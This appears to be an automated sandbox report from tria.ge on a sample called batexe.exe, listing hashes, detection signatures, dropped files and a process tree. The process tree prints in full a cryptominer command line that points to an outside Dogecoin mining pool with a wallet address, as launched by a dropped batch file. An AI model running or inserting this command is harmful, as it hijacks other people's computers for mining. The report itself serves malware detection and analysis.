Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    295s
  • max time network
    297s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-ja
  • resource tags

    arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    20/02/2024, 17:00

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Users\Admin\AppData\Local\Temp\25E2.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\25E2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\25E2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2480
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2B8F.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4448
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3892

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\25E2.tmp\b2e.exe

    Filesize

    1.5MB

    MD5

    8641866a5b1ecfad5b32eda6dbb995aa

    SHA1

    e5681c6066957cc93dcb7b27e1a5ce00131f6ef1

    SHA256

    a538d9fcebeece05f2a0fcae86166047ff6c2506fc4db77ec91ce6f98d4a2695

    SHA512

    ed707312261de9d39037e71a630cf8e1671134815535f3216ba7cccb3659d1cfaadc990b7524859b419a47fbc5c073576933fe9e3c4e5b611c0eaf1987b0b590

  • C:\Users\Admin\AppData\Local\Temp\25E2.tmp\b2e.exe

    Filesize

    1.6MB

    MD5

    32403a0f0a3cc3d7458ccc3777359930

    SHA1

    d96420ee45115464ad67426c1b6d1a1bbbc2aa8c

    SHA256

    c7a759fdd30b72a98d859b284ac06468d924e7250ea5e0c494cf483fafbc8a30

    SHA512

    b698abeff4efa20a18a90098a2c87c0989a912464900a70d4d285716282e715f2cd828698c64742e8525d22a924b563daf95578a7aa4958fef4470c301c945b6

  • C:\Users\Admin\AppData\Local\Temp\2B8F.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    62KB

    MD5

    8c6d0df9d5f5a18f599c8b6b3d784b05

    SHA1

    692d57efb286474dad9e3fcd6088d7a2512bb2e9

    SHA256

    36fe1224c9439a6a13c950ca3b938e014f921e01f2db7c26952d68c0de5d754f

    SHA512

    87749f444c89f51c3c4fe7bfacd2117fc8c5d6a3934218d9e62941cbba47b8fb9af6952a782d89ae13f755691349143de3fcb098dc59d63c33a4099186c2760f

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    593KB

    MD5

    bd9e585f378b30753e3c370163fb62ae

    SHA1

    a474e9467d15c08cae49bcef4e078462ed193d40

    SHA256

    6a5d435854ce3020fa4f1f7724a169f191bd8f6fbdd5d7dc3608e5f68b1a9751

    SHA512

    668a48cea9e82ced152db41c83f1aaa32c8f4f7b71a7a722e2fe31fce5ef191d93863c1d8dccebc87758a0d41f8d67c4e796b867f20aedc1e765bcdad0bca1ac

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    528KB

    MD5

    034a913710afe2b515d1539c0bd9fb1e

    SHA1

    084c55f2796d8c34fc3d283ca6439fb053eefd70

    SHA256

    b050ae160b2b34492c40597bc064b501bb03928e3b6b3dad2c98cba7e2b7d125

    SHA512

    d32e16ec5063a6b42813819ba27bf19d3227acf73d46dd61dca6475b81792287755417ac91982459a5aadd186c4ef5e5964a2ee764dc67ca678671c931f830f2

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    471KB

    MD5

    0d6f224d6e71dee638264b6ba75ad93c

    SHA1

    6ecf9a5106c280da007e4073da999f7b33307c92

    SHA256

    1c2c2822bc10045522336ea5cdacf0dd74b7a5f944b34f5609e90a57ce5c4b92

    SHA512

    f804316abebfc6d49a76b2e63a23e0e7744385fc0da128b405e268d1e18b2954bf4c8aa841a745401ff59ea382c1fd2f020203968f61b778782557c18a1304f2

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    363KB

    MD5

    e73b8b463157675401fe5c7324dbfa66

    SHA1

    4b726df127db19e2e08dac088809b75bf9867b01

    SHA256

    42d669c9fb7881d97ba58c46997f69e31c01107999187b86f317ea34e9cd6aff

    SHA512

    bb56a7e2b17f08a1c57a020ff9644a5ffe3ede6c0280f2a5d5451249ce5e4a2dadca0e7e939eb72f8335580703d5d78a029216c6e88fefe631da94d690851a35

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    458KB

    MD5

    d3ba66995c3fb0df4c69e9031b50a7db

    SHA1

    a754bb8bce484b500cee87715969aed22049d761

    SHA256

    9a6222e5e5974a1fd1a087070fd3f83404f6861263c90dc61aab9784abf964c9

    SHA512

    69835e1df98dce3da9680c08e2653495482df7c29a8008d8c44933c1913132c08a40155d13482a4a69808c87e4aaa4817cdf00ed1394e924e34f3a415adeccfe

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    497KB

    MD5

    72d6fdeed6480d3be9cf2aa8d581d6c5

    SHA1

    6f8eeb4f3c2618393817ee874fe2197c4110c32c

    SHA256

    e2867bc57e8b55bd8146160dfce1d6eb67f6c94b89bc0c075f272bdd70f2d4a7

    SHA512

    1e4dfe10780f67529c50f61199baa9b5305c30bb90c2d87943ccc6a7dcb64afb60de66b6e9f6673c342c1b3ce84248058c5bfe11d62cc53960f84121b51e6f0c

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    598KB

    MD5

    7ccab725f0ff5affd0c8828918aff8fc

    SHA1

    70b226ceaf866cc948fc87b9a0cccf9e5299ccd1

    SHA256

    e62cc19ab764e53db81ed94de5ffb1b706e5628a70aeb3f652ac9f58ddcffa2c

    SHA512

    ae2f2ea3b499508f1eadded7545953eb6f05ef61db43a49ee731adb19836b8298f7b65a448ec190959f7cf07b200a2e459c5b6b199506a768e915112f1c5a8ba

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    415KB

    MD5

    1e1bcf8aeedd6528851c64f28e062206

    SHA1

    bfd261d850c582413033d03cb4efc0093b97e6b7

    SHA256

    d87ddd7fde4a4ba028ba89bfe5ac8802d394edc619eff503fb6d89bdbb858619

    SHA512

    b6239b45f709808f3f64d4ee6a690c809a66f408c98fadcc9b64299d4c4c547c6eeae00029b920d9d5d04006aaa1dcc367954d7f5616ebd03b3abda200820cdb

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    677KB

    MD5

    6daa123d4e3edd30947ef65a72f773cb

    SHA1

    03f8ba3d7f8ec15c470e88daf63f5e7b6d0facd9

    SHA256

    eb9e0fc6241592fda3794f63e9950c69581b1ce6648cfb53bbdacf0ac7692dad

    SHA512

    f00a7a0a60cc62018b56e166ff6853ef75b2bd36e14e90bb0972758dae8d73749127a575e2b8c869a3984b0da165dbd2439677ef48655c346bd38cf8fba87833

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1596-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/2480-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2480-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3892-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/3892-43-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3892-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-44-0x00000000010A0000-0x0000000002955000-memory.dmp

    Filesize

    24.7MB

  • memory/3892-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-42-0x000000005D8A0000-0x000000005D938000-memory.dmp

    Filesize

    608KB

  • memory/3892-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3892-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB